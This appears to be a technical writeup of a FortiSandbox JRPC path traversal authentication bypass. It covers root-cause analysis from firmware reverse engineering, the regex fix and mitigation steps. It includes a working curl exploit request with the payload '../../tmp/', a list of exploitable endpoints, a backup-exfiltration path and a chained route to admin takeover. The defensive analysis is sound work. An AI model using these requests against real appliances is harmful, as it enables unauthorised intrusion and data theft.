CVE-2026-39813 Deep Dive Path Traversal Authentication Bypass in FortiSandbox JRPC API
Background
On April 14, 2026, Fortinet published security advisory FG-IR-26-112 disclosing a critical path traversal vulnerability in FortiSandbox — CVE-2026-39813 (CVSS 9.1). The vulnerability affects FortiSandbox 4.4.0–4.4.8 and 5.0.0–5.0.5, and was patched in 4.4.9 and 5.0.6.
This post presents a detailed technical analysis based on firmware reverse engineering, reconstructing the full exploit chain from bytecode-level analysis.
Summary
- Vulnerability Type: The
is_valid_session()function in the JRPC API passes user-suppliedsessiondirectly intoos.path.join(DIRRPCSESS, session_id)without input validation - Exploitation: Constructing
session: "../../tmp/"bypasses authentication —/tmp/always exists and its mtime is continuously refreshed - Impact: Unauthenticated read access to system version, hostname, serial number, CPU/RAM/disk usage, scan configuration, and a 32KB encrypted system backup
- Prerequisites: None — no credentials are required; a single HTTP request is sufficient to trigger the vulnerability
Authentication Architecture
FortiSandbox’s web management interface is built on Django with a two-layer authentication architecture:
1
2
3
4
5
6
7
8
HTTP Request
│
├── Layer 1: Django Middleware — FSAuthenticationMiddleware
│ ├── /jsonrpc is in AUTH_PATH_EXCEPTIONS whitelist → Skip auth
│ └── Other paths → authenticate() checks session cookie
│
└── Layer 2: JRPC Built-in Authentication
└── is_valid_session() validates session_id
Layer 1: /jsonrpc is listed in the middleware whitelist, so Django performs no authentication check. This is by design — JRPC has its own session-based authentication system.
Layer 2: That independent authentication system contains a path traversal vulnerability.
Root Cause Analysis
The vulnerability resides in apps/jsonrpc/rpcsession.pyc within the is_valid_session() function:
1
2
3
4
5
6
7
8
9
10
11
12
13
# Reconstructed pseudocode (CPython 3.10 bytecode disassembly via xdis)
def is_valid_session(session_id, remote_ip):
fpath = os.path.join(DIRRPCSESS, session_id) # DIRRPCSESS = "/usr/rpcsess/"
if not os.path.exists(fpath):
return False
mtime = os.path.getmtime(fpath)
if time.time() - mtime > RPC_SESSION_TIMEOUT: # 3600 seconds
return False
renew_session(fpath) # os.path.utime(fpath, None) — refreshes mtime
return True
session_id originates from the HTTP request JSON body and is fully attacker-controlled. However, the function passes it to os.path.join() without any filtering or format validation:
| Input | Resolved Path | Result |
|---|---|---|
"abc123def456..." (valid session) |
/usr/rpcsess/abc123def456... |
Normal auth |
"../../tmp/" (attack) |
/usr/rpcsess/../../tmp/ = /tmp/ |
Bypass |
"../../etc/hostname" (attack) |
/usr/rpcsess/../../etc/hostname = /etc/hostname |
Bypass |
os.path.join() preserves leading .. components — the Python standard library does not sanitize paths. The session is considered valid if the resolved path meets two conditions:
- The file/directory exists
- Its mtime is within 3600 seconds of the current time
Why /tmp/ Is the Optimal Choice
An attacker needs to construct a path that always exists and has a continuously refreshed mtime. /tmp/ is a reliable choice:
- Every running FortiSandbox instance has a
/tmp/directory - System cron jobs, log rotation, Redis caching, and various internal processes write to
/tmp/continuously renew_session()callsos.path.utime(fpath, None)after successful validation, so the session remains valid indefinitely as long as a request is sent at least once per hour
Attack Demonstration
1. Unauthenticated System Information Disclosure
1
2
3
4
5
6
7
8
9
curl -k -X POST "https://TARGET/fortisandbox/jsonrpc/" \
-H "Content-Type: application/json" \
-d '{
"id": 1,
"session": "../../tmp/",
"method": "get",
"params": [{"url": "sys/status"}],
"ver": "2.0"
}'
The response contains 26 fields of system information:
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"result": {
"status": {"code": 0, "message": "OK"},
"data": {
"Version": "FortiSandbox-VM v4.48,build0412,251007 (GA)",
"Serial-Number": "FSA-VM0000000000",
"Hostname": "FSA-VM0000000000",
"System-Time": "2026-04-21 10:30:00",
"Disk-Usage": "2.05%",
...
}
}
}
2. Bulk Enumeration of 50+ JRPC Endpoints
Complete firmware audit reveals the following JRPC API endpoints:
| Category | Endpoint | Auth Bypass Result |
|---|---|---|
| System Info | sys/status, sys/system_resource |
Readable |
| Scan Config | config/scan/options, config/scan/file_exts |
Readable |
| System Backup | backup/config |
Readable (32KB encrypted) |
| Network Config | config/system/interface, config/system/dns |
Permission required |
| Admin Mgmt | config/system/administrator |
Permission required |
Read-only endpoints (those without has_admin_write_permission checks) are fully exploitable for data exfiltration.
3. Download Encrypted System Backup
1
backup/config → Returns 32KB OpenSSL-encrypted data (Salted__ prefix)
The encryption key is stored in /etc/secret_key. If the attacker can also read this file via path traversal, the complete system configuration can be decrypted offline.
Dual-Path Design Issue in process()
During the audit, another design issue was discovered in rpc.pyc’s process() function, which has two request handling paths:
1
2
3
4
5
6
7
8
Path A (form-urlencoded POST):
data = json.loads(request.POST['data'])
is_valid_session(data['session'], remote_ip) ← Session check present
↓ True → Continue processing
Path B (JSON body / fallback):
json.loads(request.body) ← Direct parse, no session extraction
→ URL routing dispatch ← No session check at all!
Path B (Content-Type: application/json) completely skips the is_valid_session() call. This means JSON-formatted requests bypass not only the middleware but also the RPC layer’s session check. Security relies entirely on individual handler permissions — a fragile defense-in-depth model.
Permission Model Analysis
High-risk operations (password change, network config modification) have additional protections:
1
2
3
def has_admin_write_permission(sess_id):
user = get_username_by_sessionid(sess_id) # Reads username from session file
perm = get_user_privileges(user) # Queries database for permissions
When session is ../../tmp/:
get_username_by_sessionid()attemptsopen("/tmp/", "r")→ directory → raisesIsADirectoryError- Exception is caught → returns
INVALID_SESSION
Therefore, write operations requiring admin privileges are blocked under path traversal conditions. However, the information disclosure from read-only endpoints alone constitutes a significant security risk.
Fix Analysis
Fortinet’s fix in 4.4.9 is elegantly simple — a regex whitelist before path concatenation:
1
2
3
4
5
6
7
8
9
10
# Fixed is_valid_session() in 4.4.9
def is_valid_session(session_id, remote_ip):
md5_pattern = '^[a-fA-F0-9]{32}$'
is_md5 = bool(re.match(md5_pattern, str(session_id)))
if not is_md5:
return False # Only allow 32-character hex strings
fpath = os.path.join(DIRRPCSESS, session_id)
# ... rest unchanged
Bytecode-level diff confirms the change:
1
2
3
4.4.8: Locals: 5 | Names: os, path, join, DIRRPCSESS, ...
4.4.9: Locals: 7 | Names: os, path, join, ..., bool, re, match, str
Constants: added '^[a-fA-F0-9]{32}$'
This fix completely eliminates the attack vector — legitimate session IDs are generated by secrets.token_hex(16), always producing 32-character hexadecimal strings that strictly match the regex pattern.
Relationship with CVE-2026-39808
CVE-2026-39813 and CVE-2026-39808 (command injection, CVSS 9.1), disclosed on the same day, can form a complete attack chain:
1
2
3
4
5
6
7
8
9
CVE-2026-39813 (Info Disclosure)
→ Obtain system version, serial number, configuration
→ Confirm target is a valuable attack surface
→ Download encrypted backup (decryptable with other vulns)
CVE-2026-39808 (Command Injection, now patched)
→ Create forged session file in /usr/rpcsess/ (content: "admin")
→ Bypass has_admin_write_permission in CVE-2026-39813
→ Change admin password → Full device takeover
Notably, CVE-2026-39813 requires no known RCE — pure HTTP requests are sufficient for information disclosure. In contrast, CVE-2026-39808 is more dangerous (root RCE) but requires triggering a scan to exploit.
Timeline
| Date | Event |
|---|---|
| 2026-04-14 | Fortinet publishes FG-IR-26-112 advisory |
| 2026-04-14 | CVE-2026-39808 (FG-IR-26-111) also disclosed |
| 2026-04-21 | Firmware reverse engineering and vulnerability reproduction |
| 2026-04-22 | Independent verification that 4.4.9 patch is effective |
Mitigation
- Upgrade immediately to FortiSandbox 4.4.9 or 5.0.6+
- If immediate upgrade is not possible:
- Block JRPC requests containing
../via WAF rules - Restrict network access to
/jsonrpc/endpoint (trusted IPs only)
- Block JRPC requests containing
- Audit logs for anomalous
/jsonrpc/requests
Conclusion
CVE-2026-39813 is a representative case of path traversal leading to authentication bypass — user-controlled input is passed to a path construction function without validation, allowing an attacker to construct arbitrary filesystem paths that pass the authentication check. The CVSS 9.1 rating reflects not only the breadth of information disclosed, but also the broader security implications of compromising a network security appliance.
This case demonstrates that even with a custom authentication mechanism in place, the overall security architecture cannot be assured without foundational input validation.
